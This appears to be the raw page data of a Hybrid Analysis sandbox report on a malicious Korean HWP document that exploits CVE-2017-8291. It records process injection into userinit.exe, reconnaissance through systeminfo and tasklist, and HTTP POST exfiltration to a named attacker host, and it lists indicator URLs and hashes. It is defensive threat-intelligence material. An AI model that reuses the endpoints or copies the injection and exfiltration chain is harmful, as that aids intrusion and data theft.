24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 34:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4ad,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious CVE-2017-8291 Sample 7c5db78537f3… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 7c5db78537f3…. Malware family: CVE-2017-8291. Threat score 100/100. 7/27 AV engines flagged this file. 6 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/7c5db78537f3a28b9bcfe8f75e86c36038e5929d2206d59827fca4fb524d41c1","keywords":["Malicious","CVE-2017-8291","malware analysis","sandbox report","threat intelligence","7c5db78537f3a28b9bcfe8f75e86c36038e5929d2206d59827fca4fb524d41c1"],"about":{"@type":"SoftwareApplication","name":"이벤트 당첨자 개인정보 수집 및 이용 동의 안내서.hwp","applicationCategory":["hwp"],"identifier":"7c5db78537f3a28b9bcfe8f75e86c36038e5929d2206d59827fca4fb524d41c1","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"CVE-2017-8291","antivirusDetections":{"malicious":7,"total":27},"behavioralIndicators":{"malicious":6,"suspicious":17},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T65c,SetUnhandledExceptionFilter@KERNEL32.DLL at 00279115-00003256-25430-16-013A2ADC SetUnhandledExceptionFilter@KERNEL32.DLL at 00279115-00003256-25430-17-013A28F5 SetUnhandledExceptionFilter@KERNEL32.DLL at 00279115-00003256-25430-184-013A8BF7 SetUnhandledExceptionFilter@KERNEL32.DLL at 00279115-00003256-25430-379-013A4E67 SetUnhandledExceptionFilter@KERNEL32.DLL at 00279263-00002972-33871-16-00401FF2 SetUnhandledExceptionFilter@KERNEL32.DLL at 00279263-00002972-33871-17-00406B9E SetUnhandledExceptionFilter@KERNEL32.DLL at 00279263-00002972-33871-242-0040B896 SetUnhandledExceptionFilter@KERNEL32.DLL at 00279263-00002972-33871-365-00404E87 SetUnhandledExceptionFilter@KERNEL32.DLL at 00279596-00003048-43732-16-00406E25 SetUnhandledExceptionFilter@KERNEL32.DLL at 00279596-00003048-43732-17-00405E56 SetUnhandledExceptionFilter@KERNEL32.DLL at 00279596-00003048-43732-488-0040BE20 SetUnhandledExceptionFilter@KERNEL32.DLL at 00279596-00003048-43732-317-0040F165 SetUnhandledExceptionFilter@KERNEL32.DLL at 00287075-00000552-48321-16-00401FF2 SetUnhandledExceptionFilter@KERNEL32.DLL at 00287075-00000552-48321-17-00406B9E SetUnhandledExceptionFilter@KERNEL32.DLL at 00287075-00000552-48321-242-0040B896 SetUnhandledExceptionFilter@KERNEL32.DLL at 00287075-00000552-48321-365-00404E87 SetUnhandledExceptionFilter@KERNEL32.DLL at 00287408-00003420-51972-16-00406E25 SetUnhandledExceptionFilter@KERNEL32.DLL at 00287408-00003420-51972-17-00405E56 SetUnhandledExceptionFilter@KERNEL32.DLL at 00287408-00003420-51972-317-0040F165 SetUnhandledExceptionFilter@KERNEL32.DLL at 00287408-00003420-51972-488-0040BE2026:T65e,"Hwp.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DF1B7E1264EF721EB5.TMP" "Hwp.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DFA34D497C5F253C63.TMP" "Hwp.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DF6514223F0291402D.TMP" "Hwp.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DF5A6E5BD774D3E8D3.TMP" "Hwp.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DF2D3BF6C94B238C24.TMP" "Hwp.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\Hnc\BinData\EMB00000ce043d1.eps" "Hwp.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\gst835C.tmp" "Hwp.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\gsa835C.tmp" "Hwp.exe" created file "C:\Users\W55GF1A\AppData\Local\Temp\gse835C.tmp" "Hwp.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\Hwp80\________.asv" "Hwp.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DFF2569F3E5C3B1E1D.TMP" "Hwp.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\Hnc\BinData\EMB00000ce043d3.eps" "Hwp.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\gst602A.tmp" "Hwp.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\gsa602A.tmp" "Hwp.exe" created file "C:\Users\W55GF1A\AppData\Local\Temp\gse602A.tmp" "Hwp.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\$$$00000ce043d4.bmp" "Hwp.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\prv00000ce043d2.gif" "Hwp.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\gst8AB5.tmp" "Hwp.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\gsa8AB5.tmp" "Hwp.exe" created file "C:\Users\W55GF1A\AppData\Local\Temp\gse8AB5.tmp"27:T554,Process "HimTrayIcon.exe" (UID: 00279115-00003256) was launched with modified environment variables: "Path" Process "gbb.exe" (UID: 00279263-00002972) was launched with modified environment variables: "Path" Process "userinit.exe" (UID: 00279483-00002664) was launched with modified environment variables: "Path" Process "gswin32c.exe" (UID: 00279596-00003048) was launched with modified environment variables: "Path" Process "userinit.exe" (UID: 00279887-00001620) was launched with modified environment variables: "Path" Process "gbb.exe" (UID: 00287075-00000552) was launched with modified environment variables: "Path" Process "userinit.exe" (UID: 00287298-00003760) was launched with modified environment variables: "Path" Process "gswin32c.exe" (UID: 00287408-00003420) was launched with modified environment variables: "Path" Process "userinit.exe" (UID: 00287646-00003616) was launched with modified environment variables: "Path" Process "gbb.exe" (UID: 00287773-00001752) was launched with modified environment variables: "Path" Process "userinit.exe" (UID: 00287997-00002804) was launched with modified environment variables: "Path" Process "gswin32c.exe" (UID: 00288107-00000336) was launched with modified environment variables: "Path" Process "userinit.exe" (UID: 00288358-00003216) was launched with modified environment variables: "Path"28:T50f,Spawned process "HimTrayIcon.exe" (UID: 00279115-00003256) Spawned process "gbb.exe" with commandline ""%TEMP%\Hnc\BinData\EMB00000ce043d1.eps" "%TEMP%\gsb835C.tmp"" (UID: 00279263-00002972) Spawned process "userinit.exe" (UID: 00279483-00002664) Spawned process "cmd.exe" with commandline "/c %TEMP%\a_1d87.bat" (UID: 00279507-00000556) Spawned process "systeminfo.exe" (UID: 00279517-00002568) Spawned process "gswin32c.exe" with commandline "@%TEMP%\gsa835C.tmp" (UID: 00279596-00003048) Spawned process "userinit.exe" (UID: 00279887-00001620) Spawned process "tasklist.exe" (UID: 00280050-00003940) Spawned process "gbb.exe" with commandline ""%TEMP%\Hnc\BinData\EMB00000ce043d3.eps" "%TEMP%\gsb602A.tmp"" (UID: 00287075-00000552) Spawned process "userinit.exe" (UID: 00287298-00003760) Spawned process "gswin32c.exe" with commandline "@%TEMP%\gsa602A.tmp" (UID: 00287408-00003420) Spawned process "userinit.exe" (UID: 00287646-00003616) Spawned process "gbb.exe" with commandline ""%TEMP%\Hnc\BinData\EMB00000ce043d3.eps" "%TEMP%\gsb8AB5.tmp"" (UID: 00287773-00001752) Spawned process "userinit.exe" (UID: 00287997-00002804) Spawned process "gswin32c.exe" with commandline "@%TEMP%\gsa8AB5.tmp" (UID: 00288107-00000336) Spawned process "userinit.exe" (UID: 00288358-00003216)29:T50f,Spawned process "HimTrayIcon.exe" (UID: 00279115-00003256) Spawned process "gbb.exe" with commandline ""%TEMP%\Hnc\BinData\EMB00000ce043d1.eps" "%TEMP%\gsb835C.tmp"" (UID: 00279263-00002972) Spawned process "userinit.exe" (UID: 00279483-00002664) Spawned process "cmd.exe" with commandline "/c %TEMP%\a_1d87.bat" (UID: 00279507-00000556) Spawned process "systeminfo.exe" (UID: 00279517-00002568) Spawned process "gswin32c.exe" with commandline "@%TEMP%\gsa835C.tmp" (UID: 00279596-00003048) Spawned process "userinit.exe" (UID: 00279887-00001620) Spawned process "tasklist.exe" (UID: 00280050-00003940) Spawned process "gbb.exe" with commandline ""%TEMP%\Hnc\BinData\EMB00000ce043d3.eps" "%TEMP%\gsb602A.tmp"" (UID: 00287075-00000552) Spawned process "userinit.exe" (UID: 00287298-00003760) Spawned process "gswin32c.exe" with commandline "@%TEMP%\gsa602A.tmp" (UID: 00287408-00003420) Spawned process "userinit.exe" (UID: 00287646-00003616) Spawned process "gbb.exe" with commandline ""%TEMP%\Hnc\BinData\EMB00000ce043d3.eps" "%TEMP%\gsb8AB5.tmp"" (UID: 00287773-00001752) Spawned process "userinit.exe" (UID: 00287997-00002804) Spawned process "gswin32c.exe" with commandline "@%TEMP%\gsa8AB5.tmp" (UID: 00288107-00000336) Spawned process "userinit.exe" (UID: 00288358-00003216)2a:T658,"Hwp.exe" is creating a new process (Name: "%WINDIR%\System32\conhost.exe", Handle: 988) "Hwp.exe" is creating a new process (Name: "C:\Program Files\HNC\Common80\HimTrayIcon.exe", Handle: 848) "Hwp.exe" is creating a new process (Name: "C:\Program Files\HNC\Common80\ImgFilters\GS\gs8.71\bin\gbb.exe", Handle: 944) "Hwp.exe" is creating a new process (Name: "C:\Program Files\HNC\Common80\ImgFilters\GS\gs8.71\bin\gswin32c.exe", Handle: 944) "Hwp.exe" is creating a new process (Name: "C:\Program Files\HNC\Common80\ImgFilters\GS\gs8.71\bin\gbb.exe", Handle: 900) "Hwp.exe" is creating a new process (Name: "C:\Program Files\HNC\Common80\ImgFilters\GS\gs8.71\bin\gswin32c.exe", Handle: 900) "HimTrayIcon.exe" is creating a new process (Name: "C:\Windows\System32\userinit.exe", Handle: 176) "HimTrayIcon.exe" is creating a new process (Name: "C:\Windows\System32\userinit.exe", Handle: 184) "HimTrayIcon.exe" is creating a new process (Name: "C:\Windows\System32\userinit.exe", Handle: 200) "HimTrayIcon.exe" is creating a new process (Name: "C:\Windows\System32\userinit.exe", Handle: 204) "HimTrayIcon.exe" is creating a new process (Name: "C:\Windows\System32\userinit.exe", Handle: 208) "HimTrayIcon.exe" is creating a new process (Name: "C:\Windows\System32\userinit.exe", Handle: 212) "userinit.exe" is creating a new process "userinit.exe" is creating a new process (Name: "C:\Windows\System32\cmd.exe", Handle: 252) "cmd.exe" is creating a new process (Name: "C:\Windows\System32\systeminfo.exe", Handle: 100) "cmd.exe" is creating a new process (Name: "C:\Windows\System32\tasklist.exe", Handle: 96)2b:T486,"________.hwp.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Tue May 28 08:28:02 2019 mtime=Tue May 28 08:28:02 2019 atime=Tue May 28 08:28:10 2019 length=245760 window=hide" "a_1d87.bat" has type "ASCII text with CRLF line terminators" "BIN0001.eps_extracted_1559032434399" has type "data" "EMB00000ce043d3.eps" has type "data" "gsa8AB5.tmp" has type "ASCII text with no line terminators" "ShareFont.ini" has type "data" "_00000ce043d4.bmp" has type "PC bitmap Windows 3.x format 177 x 250 x 8" "gst602A.tmp" has type "ASCII text with CRLF line terminators" "gsa835C.tmp" has type "ASCII text with no line terminators" "gsa602A.tmp" has type "ASCII text with no line terminators" "prv00000ce043d2.gif" has type "GIF image data version 89a 177 x 250" "EMB00000ce043d1.eps" has type "data" "~elserf.log" has type "ASCII text with CRLF CR line terminators" "gst8AB5.tmp" has type "ASCII text with CRLF line terminators" "Fontlist01.lst" has type "Little-endian UTF-16 Unicode text with CRLF CR line terminators" "gst835C.tmp" has type "ASCII text with CRLF line terminators"2c:T553,"Hwp.exe" touched file "C:\Windows\System32\rsaenh.dll" "Hwp.exe" touched file "C:\Windows\System32\en-US\odbcint.dll.mui" "Hwp.exe" touched file "C:\Windows\System32\en-US\msctf.dll.mui" "Hwp.exe" touched file "C:\Windows\System32\tzres.dll" "Hwp.exe" touched file "C:\Users\W55GF1A\AppData\Local\Microsoft\Windows\Caches" "Hwp.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "Hwp.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000020.db" "Hwp.exe" touched file "C:\Windows\Fonts\StaticCache.dat" "Hwp.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "Hwp.exe" touched file "C:\Windows\System32\oleaccrc.dll" "Hwp.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "Hwp.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "Hwp.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\cversions.1.db" "Hwp.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000020.db" "HimTrayIcon.exe" touched file "C:\Windows\Fonts\StaticCache.dat" "HimTrayIcon.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "gbb.exe" touched file "C:\Windows\Fonts\gs_init.ps" "gbb.exe" touched file "C:\Windows\Fonts\gs_std_e.ps"2d:T6a0,"POST /post/post.php HTTP/1.1 Accept: */* Host: hellojames.sportsontheweb.net Referer: http://hellojames.sportsontheweb.net/post/post.php Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322) Content-Length: 17487 Connection: Keep-Alive Cache-Control: no-cache" with no payload "POST /post/post.php HTTP/1.1 Accept: */* Host: hellojames.sportsontheweb.net Referer: http://hellojames.sportsontheweb.net/post/post.php Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322) Content-Length: 323 Connection: Keep-Alive Cache-Control: no-cache" with no payload "POST /post/post.php HTTP/1.1 Accept: */* Host: hellojames.sportsontheweb.net Referer: http://hellojames.sportsontheweb.net/post/post.php Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322) Content-Length: 373 Connection: Keep-Alive Cache-Control: no-cache" with no payload "POST /post/post.php HTTP/1.1 Accept: */* Host: hellojames.sportsontheweb.net Referer: http://hellojames.sportsontheweb.net/post/post.php Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322) Content-Length: 417 Connection: Keep-Alive Cache-Control: no-cache" with no payload2e:T1459,"Hwp.exe" wrote 32 bytes to a remote process "C:\Program Files\HNC\Common80\ImgFilters\GS\gs8.71\bin\gbb.exe" (Handle: 988) "Hwp.exe" wrote 52 bytes to a remote process "C:\Program Files\HNC\Common80\ImgFilters\GS\gs8.71\bin\gbb.exe" (Handle: 988) "Hwp.exe" wrote 4 bytes to a remote process "C:\Program Files\HNC\Common80\ImgFilters\GS\gs8.71\bin\gbb.exe" (Handle: 988) "Hwp.exe" wrote 32 bytes to a remote process "C:\Program Files\HNC\Common80\ImgFilters\GS\gs8.71\bin\gswin32c.exe" (Handle: 988) "Hwp.exe" wrote 52 bytes to a remote process "C:\Program Files\HNC\Common80\ImgFilters\GS\gs8.71\bin\gswin32c.exe" (Handle: 988) "Hwp.exe" wrote 4 bytes to a remote process "C:\Program Files\HNC\Common80\ImgFilters\GS\gs8.71\bin\gswin32c.exe" (Handle: 988) "Hwp.exe" wrote 32 bytes to a remote process "C:\Program Files\HNC\Common80\ImgFilters\GS\gs8.71\bin\gbb.exe" (Handle: 944) "Hwp.exe" wrote 52 bytes to a remote process "C:\Program Files\HNC\Common80\ImgFilters\GS\gs8.71\bin\gbb.exe" (Handle: 944) "Hwp.exe" wrote 4 bytes to a remote process "C:\Program Files\HNC\Common80\ImgFilters\GS\gs8.71\bin\gbb.exe" (Handle: 944) "Hwp.exe" wrote 32 bytes to a remote process "C:\Program Files\HNC\Common80\ImgFilters\GS\gs8.71\bin\gswin32c.exe" (Handle: 944) "Hwp.exe" wrote 52 bytes to a remote process "C:\Program Files\HNC\Common80\ImgFilters\GS\gs8.71\bin\gswin32c.exe" (Handle: 944) "Hwp.exe" wrote 4 bytes to a remote process "C:\Program Files\HNC\Common80\ImgFilters\GS\gs8.71\bin\gswin32c.exe" (Handle: 944) "Hwp.exe" wrote 32 bytes to a remote process "C:\Program Files\HNC\Common80\ImgFilters\GS\gs8.71\bin\gswin32c.exe" (Handle: 900) "Hwp.exe" wrote 32 bytes to a remote process "C:\Program Files\HNC\Common80\ImgFilters\GS\gs8.71\bin\gbb.exe" (Handle: 900) "Hwp.exe" wrote 52 bytes to a remote process "C:\Program Files\HNC\Common80\ImgFilters\GS\gs8.71\bin\gbb.exe" (Handle: 900) "Hwp.exe" wrote 4 bytes to a remote process "C:\Program Files\HNC\Common80\ImgFilters\GS\gs8.71\bin\gbb.exe" (Handle: 900) "Hwp.exe" wrote 52 bytes to a remote process "C:\Program Files\HNC\Common80\ImgFilters\GS\gs8.71\bin\gswin32c.exe" (Handle: 900) "Hwp.exe" wrote 4 bytes to a remote process "C:\Program Files\HNC\Common80\ImgFilters\GS\gs8.71\bin\gswin32c.exe" (Handle: 900) "HimTrayIcon.exe" wrote 32 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 176) "HimTrayIcon.exe" wrote 52 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 176) "HimTrayIcon.exe" wrote 4 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 176) "HimTrayIcon.exe" wrote 1024 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 176) "HimTrayIcon.exe" wrote 95232 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 176) "HimTrayIcon.exe" wrote 34304 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 176) "HimTrayIcon.exe" wrote 7168 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 176) "HimTrayIcon.exe" wrote 512 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 176) "HimTrayIcon.exe" wrote 5120 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 176) "HimTrayIcon.exe" wrote 32 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 184) "HimTrayIcon.exe" wrote 52 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 184) "HimTrayIcon.exe" wrote 4 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 184) "HimTrayIcon.exe" wrote 1024 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 184) "HimTrayIcon.exe" wrote 95232 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 184) "HimTrayIcon.exe" wrote 34304 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 184) "HimTrayIcon.exe" wrote 7168 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 184) "HimTrayIcon.exe" wrote 512 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 184) "HimTrayIcon.exe" wrote 5120 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 184) "HimTrayIcon.exe" wrote 32 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 200) "HimTrayIcon.exe" wrote 95232 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 200) "HimTrayIcon.exe" wrote 34304 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 200) "HimTrayIcon.exe" wrote 7168 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 200) "HimTrayIcon.exe" wrote 512 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 200) "HimTrayIcon.exe" wrote 1024 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 200) "HimTrayIcon.exe" wrote 5120 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 200) "HimTrayIcon.exe" wrote 4 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 200) "HimTrayIcon.exe" wrote 52 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 204) "HimTrayIcon.exe" wrote 5120 bytes to a remote process "C:\Windows\System32\userinit.exe" (Handle: 204)2f:T94c,"Hwp.exe" wrote bytes "f8110675" to virtual address "0x750783C4" (part of module "SSPICLI.DLL") "Hwp.exe" wrote bytes "48120675" to virtual address "0x75078364" (part of module "SSPICLI.DLL") "Hwp.exe" wrote bytes "48120675" to virtual address "0x750783C0" (part of module "SSPICLI.DLL") "Hwp.exe" wrote bytes "f8110675" to virtual address "0x750783E0" (part of module "SSPICLI.DLL") "Hwp.exe" wrote bytes "6012fe6e" to virtual address "0x75ADE324" (part of module "WININET.DLL") "Hwp.exe" wrote bytes "f8110000" to virtual address "0x750612CC" (part of module "SSPICLI.DLL") "Hwp.exe" wrote bytes "f8110675" to virtual address "0x7507834C" (part of module "SSPICLI.DLL") "Hwp.exe" wrote bytes "f8110000" to virtual address "0x75061408" (part of module "SSPICLI.DLL") "Hwp.exe" wrote bytes "b84013fe6effe0" to virtual address "0x75061248" (part of module "SSPICLI.DLL") "Hwp.exe" wrote bytes "c04e307720543177e0653177b53832770000000000d0c97500000000c5eac9750000000088eac97500000000e968337582283277ee29327700000000d2693375000000007dbbc9750000000009be337500000000ba18c97500000000" to virtual address "0x760F1000" (part of module "NSI.DLL") "Hwp.exe" wrote bytes "48120675" to virtual address "0x75078348" (part of module "SSPICLI.DLL") "Hwp.exe" wrote bytes "f8110675" to virtual address "0x75078368" (part of module "SSPICLI.DLL") "Hwp.exe" wrote bytes "68130000" to virtual address "0x75511680" (part of module "WS2_32.DLL") "Hwp.exe" wrote bytes "b83012fe6effe0" to virtual address "0x75511368" (part of module "WS2_32.DLL") "Hwp.exe" wrote bytes "48120000" to virtual address "0x7506139C" (part of module "SSPICLI.DLL") "Hwp.exe" wrote bytes "48120000" to virtual address "0x750612DC" (part of module "SSPICLI.DLL") "Hwp.exe" wrote bytes "48120675" to virtual address "0x750783DC" (part of module "SSPICLI.DLL") "Hwp.exe" wrote bytes "b8c015fe6effe0" to virtual address "0x750611F8" (part of module "SSPICLI.DLL") "gbb.exe" wrote bytes "d5d9c97530c6c975a0c4c97542c6c97510c6c975acdcc975a0dfc97536dac97587f1c9750000000091772276c09022767f6f22761ffa2276def42276f2822276857d227600000000" to virtual address "0x6E7D1000" (part of module "MSIMG32.DLL") "userinit.exe" wrote bytes "fae62d77e1a632772e713277ee29327785e22d776da0327726e42d77d16d3277003d3077804b307700000000ad3751758b2d5175b641517500000000" to virtual address "0x74661000" (part of module "WSHTCPIP.DLL")30:T735,Found malicious artifacts related to "185.176.43.94": ... URL: http://hellojames.sportsontheweb.net/post/post.php (AV positives: 1/66 scanned on 05/28/2019 06:27:35) URL: http://hellojames.sportsontheweb.net/post/download.php (AV positives: 1/66 scanned on 05/28/2019 06:27:35) URL: http://gerenciamento-bb.getenjoyment.net/ (AV positives: 7/70 scanned on 05/28/2019 02:20:13) URL: http://takethecharge.com/wp-content/themes/zerif-lite/images/ (AV positives: 3/70 scanned on 05/25/2019 10:29:22) URL: http://udeckservices.com/~sanjeeva/images/view/purchase/xcel/129cdb9f9eac83c78a6282851ed82805 (AV positives: 5/67 scanned on 05/24/2019 15:46:40) File SHA256: 24e0bf4b9cbb68091b326f6879ddb3c5f78b8ddb144c01c68a08239edd9b36ab (AV positives: 50/69 scanned on 04/24/2019 10:22:37) File SHA256: c4d95f63abccf74fcc122a8d12becebbb41b56156066712d59d9db0a2b395280 (AV positives: 56/68 scanned on 04/06/2019 17:16:17) File SHA256: 2bed768a2f85f0158dc06953330e9a6f448ba815b198fc36826884b2683e6d54 (Date: 03/19/2019 12:23:47) File SHA256: a64800dfd9d6c64423a79c38a6612cf8cb168c4d00c2ce1cc0507d6f6db14c42 (Date: 03/19/2019 12:23:42) File SHA256: 0c98bfc19a1d56ea5ee9d464ac289ca099f13ce11d6b7fffcfde3b3137d0ee4c (Date: 03/19/2019 12:08:04) File SHA256: 6ae7dbad626e3ec6f1ce54902d6a97b47fb309a00fe19904b75528ee05a78fa2 (Date: 03/19/2019 00:08:24) File SHA256: f0e8925a424ba2a41f0ab9a05b7f48a733c937938ebbebfba5767457435b16df (AV positives: 9/65 scanned on 03/09/2019 08:33:53) File SHA256: 2e18d2faa3d17e0751241a536c860c1627c23a929fd6eb5d0a083243a43ec6a8 (AV positives: 10/69 scanned on 02/25/2019 21:20:24) File SHA256: 4d2c3c0c9fbe70396c02ef51962cfce444241a1a25ad5219c898302f7fd5728a (AV positives: 2/71 scanned on 02/23/2019 20:54:48) File SHA256: b93fa95fa83c1fb65ad4226a14b204a7ead219e291a2cb5bdddc92b8febfa322 (Date: 01/09/2019 19:03:09)31:T41b1,"--------[Task Switching]-------- [20:25:42] [T]rd (Not Responding)]-------- [19:13:13] 55GF1A\AppData\Roaming\MICROS~1\Windows\Recent 05/28/2019 10:30 AM . 05/28/2019 10:30 AM .. 12/07/2017 06:02 PM 156 All Control Panel Items.lnk 12/04/2017 08:37 PM 156 Appearance and Personalization.lnk 05/28/2019 10:30 AM AutomaticDestinations 01/30/2019 06:34 PM CustomDestinations 12/04/2017 07:28 PM 2,465 Database1.lnk 12/04/2017 07:33 PM 523 desktop.lnk 12/04/2017 07:33 PM 435 Downloads.lnk 05/28/2019 10:30 AM 357 Local Disk (C).lnk 01/30/2019 07:43 PM 156 Network and Internet.lnk 12/05/2017 11:36 AM 705 slowfuzzer.lnk 01/29/2019 10:14 PM 156 System and Security.lnk 12/05/2017 11:36 AM 490 VxFuzzer.lnk 05/28/2019 10:30 AM 501 ________.lnk 11 File(s) 6,100 bytes 4 Dir(s) 29,527,879,680 bytes free Volume in drive C has no label. Volume Serial Number is 5CEB-5629 Directory of C:\PROGRA~1 01/29/2019 05:50 PM . 01/29/2019 05:50 PM .. 12/03/2017 06:41 PM 7-Zip 12/03/2017 06:46 PM Adobe 12/05/2017 08:41 AM AutoIt3 12/07/2017 12:46 PM CCleaner 01/29/2019 05:52 PM Common Files 12/03/2017 06:24 PM DVD Maker 12/07/2017 01:08 AM HNC 12/03/2017 06:24 PM Internet Explorer 12/03/2017 06:44 PM Java 01/29/2019 05:50 PM Microsoft Analysis Services 01/29/2019 05:52 PM Microsoft Office 12/03/2017 07:37 PM Microsoft OneDrive 12/03/2017 06:41 PM Microsoft Silverlight 01/29/2019 05:52 PM Microsoft.NET 07/17/2018 12:32 PM Mozilla Firefox 12/03/2017 06:40 PM Mozilla Maintenance Service 07/17/2018 12:27 PM MSBuild 12/05/2017 08:25 AM Oracle 07/14/2009 06:52 AM Reference Assemblies 12/03/2017 06:05 PM Windows Defender 04/12/2011 04:16 AM Windows Mail 12/03/2017 06:24 PM Windows Media Player 07/14/2009 06:52 AM Windows NT 04/12/2011 04:16 AM Windows Photo Viewer 11/20/2010 11:33 PM Windows Portable Devices 04/12/2011 04:16 AM Windows Sidebar 12/04/2017 06:35 PM WinPcap 12/03/2017 06:49 PM Wireshark 0 File(s) 0 bytes 30 Dir(s) 29,527,879,680 bytes free Volume in drive C has no label. Volume Serial Number is 5CEB-5629 Directory of C:\ 06/10/2009 11:42 PM 24 autoexec.bat 06/10/2009 11:42 PM 10 config.sys 07/14/2009 04:37 AM PerfLogs 01/29/2019 05:50 PM Program Files 05/28/2019 10:28 AM 0 sysmon.vxs 12/04/2017 08:45 PM Temp 05/28/2019 10:28 AM Users 05/28/2019 10:28 AM Windows 05/28/2019 10:28 AM 245,760 ________.hwp 4 File(s) 245,794 bytes 5 Dir(s) 29,527,879,680 bytes free Host Name: il34yrHtT5 OS Name: Microsoft Windows 7 Professional OS Version: 6.1.7601 Service Pack 1 Build 7601 OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Workstation OS Build Type: Multiprocessor Free Registered Owner: W55GF1A Registered Organization: Product ID: 9UIj4-RJk-oc2D5zb-23Na4 Original Install Date: 12/3/2017, 12:06:10 PM System Boot Time: 5/28/2019, 9:19:12 AM System Manufacturer: eXNU6Kk0T3m9 System Model: inOJxBMqlI System Type: X86-based PC Processor(s): 1 Processor(s) Installed. [01]: x86 Family 6 Model 79 Stepping 1 GenuineIntel ~825 Mhz BIOS Version: HdmUmXDUgpFw sVj7925Trv, 12/1/2006 Windows Directory: C:\Windows System Directory: C:\Windows\system32 Boot Device: \Device\HarddiskVolume1 System Locale: en-us;English (United States) Input Locale: es;Spanish (Traditional Sort) Time Zone: (UTC+01:00) Brussels, Copenhagen, Madrid, Paris Total Physical Memory: 3,071 MB Available Physical Memory: 1,252 MB Virtual Memory: Max Size: 4,095 MB Virtual Memory: Available: 3,435 MB Virtual Memory: In Use: 660 MB Page File Location(s): C:\pagefile.sys Domain: WORKGROUP Logon Server: \\il34yrHtT5 Hotfix(s): 190 Hotfix(s) 